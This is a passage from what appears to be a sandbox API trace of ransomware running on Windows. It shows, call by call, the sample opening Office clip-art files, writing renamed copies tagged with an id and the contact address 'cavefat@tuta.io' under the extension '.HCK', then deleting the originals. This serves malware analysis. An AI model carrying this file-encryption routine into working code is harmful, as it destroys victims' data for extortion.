[0168.603] lstrlenW (lpString=".rar") returned 4 [0168.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString=".bz2") returned 4 [0168.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString=".7z") returned 3 [0168.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString=".dbf") returned 4 [0168.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString=".1cd") returned 4 [0168.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString=".jpg") returned 4 [0168.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString=".doc") returned 4 [0168.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString=".docx") returned 5 [0168.604] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0168.604] lstrlenW (lpString=".pdf") returned 4 [0168.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString=".xls") returned 4 [0168.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.604] lstrlenW (lpString=".xlsx") returned 5 [0168.604] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0168.604] lstrlenW (lpString=".ppt") returned 4 [0168.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.604] lstrlenW (lpString=".zip") returned 4 [0168.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.604] lstrlenW (lpString=".rar") returned 4 [0168.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString=".bz2") returned 4 [0168.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString=".7z") returned 3 [0168.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.604] lstrlenW (lpString=".dbf") returned 4 [0168.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.604] lstrlenW (lpString=".1cd") returned 4 [0168.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.604] lstrlenW (lpString=".jpg") returned 4 [0168.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.604] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.604] lstrlenW (lpString="J0152414.WMF") returned 12 [0168.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.612] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24844) returned 1 [0168.612] CloseHandle (hObject=0x308) returned 1 [0168.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220 [0168.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.623] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.623] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.628] GetLastError () returned 0x0 [0168.628] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x610c, lpOverlapped=0x0) returned 1 [0168.632] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6110, lpOverlapped=0x0) returned 1 [0168.633] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.633] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.633] SetEndOfFile (hFile=0x398) returned 1 [0168.635] CloseHandle (hObject=0x398) returned 1 [0168.636] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.636] SetEndOfFile (hFile=0x370) returned 1 [0168.642] CloseHandle (hObject=0x370) returned 1 [0168.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0168.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.645] lstrlenW (lpString=".doc") returned 4 [0168.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.645] lstrlenW (lpString=".docx") returned 5 [0168.645] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.645] lstrlenW (lpString=".pdf") returned 4 [0168.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.645] lstrlenW (lpString=".xls") returned 4 [0168.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.646] lstrlenW (lpString=".xlsx") returned 5 [0168.646] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.646] lstrlenW (lpString=".ppt") returned 4 [0168.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString=".zip") returned 4 [0168.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.646] lstrlenW (lpString=".rar") returned 4 [0168.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString=".bz2") returned 4 [0168.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString=".7z") returned 3 [0168.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString=".dbf") returned 4 [0168.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString=".1cd") returned 4 [0168.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString=".jpg") returned 4 [0168.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString=".doc") returned 4 [0168.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString=".docx") returned 5 [0168.646] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.646] lstrlenW (lpString=".pdf") returned 4 [0168.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString=".xls") returned 4 [0168.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.646] lstrlenW (lpString=".xlsx") returned 5 [0168.646] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.646] lstrlenW (lpString=".ppt") returned 4 [0168.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.646] lstrlenW (lpString=".zip") returned 4 [0168.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.646] lstrlenW (lpString=".rar") returned 4 [0168.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString=".bz2") returned 4 [0168.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.646] lstrlenW (lpString=".7z") returned 3 [0168.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.647] lstrlenW (lpString=".dbf") returned 4 [0168.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.647] lstrlenW (lpString=".1cd") returned 4 [0168.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0168.647] lstrlenW (lpString=".jpg") returned 4 [0168.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.647] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.647] lstrlenW (lpString="J0152556.WMF") returned 12 [0168.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.652] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=16432) returned 1 [0168.652] CloseHandle (hObject=0x308) returned 1 [0168.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220 [0168.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.660] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.660] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.671] GetLastError () returned 0x0 [0168.671] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4030, lpOverlapped=0x0) returned 1 [0168.674] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4040, lpOverlapped=0x0) returned 1 [0168.674] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.674] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.674] SetEndOfFile (hFile=0x330) returned 1 [0168.676] CloseHandle (hObject=0x330) returned 1 [0168.678] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.678] SetEndOfFile (hFile=0x398) returned 1 [0168.683] CloseHandle (hObject=0x398) returned 1 [0168.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0168.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.687] lstrlenW (lpString=".doc") returned 4 [0168.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString=".docx") returned 5 [0168.687] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.687] lstrlenW (lpString=".pdf") returned 4 [0168.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString=".xls") returned 4 [0168.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.687] lstrlenW (lpString=".xlsx") returned 5 [0168.687] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.687] lstrlenW (lpString=".ppt") returned 4 [0168.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.687] lstrlenW (lpString=".zip") returned 4 [0168.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.687] lstrlenW (lpString=".rar") returned 4 [0168.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString=".bz2") returned 4 [0168.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString=".7z") returned 3 [0168.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.687] lstrlenW (lpString=".dbf") returned 4 [0168.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.687] lstrlenW (lpString=".1cd") returned 4 [0168.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.687] lstrlenW (lpString=".jpg") returned 4 [0168.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.688] lstrlenW (lpString=".doc") returned 4 [0168.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString=".docx") returned 5 [0168.688] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.688] lstrlenW (lpString=".pdf") returned 4 [0168.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString=".xls") returned 4 [0168.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.688] lstrlenW (lpString=".xlsx") returned 5 [0168.688] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.688] lstrlenW (lpString=".ppt") returned 4 [0168.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.688] lstrlenW (lpString=".zip") returned 4 [0168.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.688] lstrlenW (lpString=".rar") returned 4 [0168.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString=".bz2") returned 4 [0168.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString=".7z") returned 3 [0168.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.688] lstrlenW (lpString=".dbf") returned 4 [0168.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.688] lstrlenW (lpString=".1cd") returned 4 [0168.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0168.688] lstrlenW (lpString=".jpg") returned 4 [0168.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.688] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.688] lstrlenW (lpString="J0152570.WMF") returned 12 [0168.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.690] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3368) returned 1 [0168.690] CloseHandle (hObject=0x330) returned 1 [0168.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220 [0168.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.698] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.698] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.704] GetLastError () returned 0x0 [0168.704] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xd28, lpOverlapped=0x0) returned 1 [0168.706] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xd30, lpOverlapped=0x0) returned 1 [0168.706] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.707] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.707] SetEndOfFile (hFile=0x360) returned 1 [0168.712] CloseHandle (hObject=0x360) returned 1 [0168.715] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.715] SetEndOfFile (hFile=0x398) returned 1 [0168.723] CloseHandle (hObject=0x398) returned 1 [0168.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString=".doc") returned 4 [0168.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString=".docx") returned 5 [0168.727] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.727] lstrlenW (lpString=".pdf") returned 4 [0168.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString=".xls") returned 4 [0168.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.727] lstrlenW (lpString=".xlsx") returned 5 [0168.727] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.727] lstrlenW (lpString=".ppt") returned 4 [0168.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString=".zip") returned 4 [0168.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.727] lstrlenW (lpString=".rar") returned 4 [0168.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString=".bz2") returned 4 [0168.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString=".7z") returned 3 [0168.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0168.727] lstrlenW (lpString=".dbf") returned 4 [0168.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft 